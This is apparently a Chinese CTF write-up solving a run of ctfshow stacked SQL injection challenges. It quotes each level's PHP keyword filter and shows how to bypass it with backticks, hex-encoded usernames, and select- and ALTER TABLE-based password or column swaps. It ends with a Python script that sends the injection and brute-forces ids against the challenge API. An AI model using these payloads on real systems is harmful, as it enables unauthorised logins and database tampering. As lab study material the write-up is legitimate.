if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入
空格用`来绕过
很久没做堆叠了
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
当登录密码正确的时候就可以得到flag,所以现在要更新密码
先在本地测试一下堆叠注入
update`表`set`字段`=密码
select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;
?可以发现所有密码都被改成了111
admin;update`ctfshow_user`set`pass`=111;
但是查询失败了
我们再看一下查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
因为username没有被单引号包裹
就像这个没有被包裹会报错一下 ,就不是字符串
我们转换成十六进制试一下
发现用十六进制就不用单引号了
同理我们把admin转换成十六进制
发现可以登录成功了
过滤语句
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
?还有条件
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
看到别人wp说
其实select没有被过滤
那我们可以使用select,先在本地测试一下
select * from users;select(9);
那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功
同理的
看过滤语句,这里用户名长度没有限制了
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
这里核心就是跟上一题一样
select(1)
那么我们只要password为1 就可以成功查询
那么这里同理
我们如果show tables
然后password就是表名ctfshow_user
那么就会成功
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
用上一题的也能打通
还有一种方法,通过转变字段实现
我们先在本机操作一下
看下我们本来自己创建的表
现在使用alter命令,把password字段变成a字段
alter table users change column `password` `a` varchar(255)
然后我们把id字段改为password字段
alter table users change column `id` `password` varchar(255)
我们再把a字段改为id字段
alter table users change column `a` `id` varchar(255)
?
这样我们最终就实现了id与password字段的交换
那么回到题目
我们需要有username和password就可以实现登录
然后我们现在知道username,那么需要知道password
如果实现password与id字段交换,然后我们只需要知道password的id字段
而id字段肯定就是数字,那么可以通过爆破来实现
import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"
for i in range(1000):
if i==0:
payload={
'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",
'password':i
}
r=requests.post(url=url,data=payload)
data = {
'username': '0x61646d696e',
'password': i
}
re=requests.post(url=url,data=data)
#print(re.text)
if r"登陆成功" in re.json()['msg']:
print(re.json()['msg'])
break
这里括号被过滤了
之前的payload还可以
括号被过滤,可以用text代替
0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;
然后 username = 0 passwd = userAUTO
多了一点过滤没什么影响
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
之前的payload还是能打通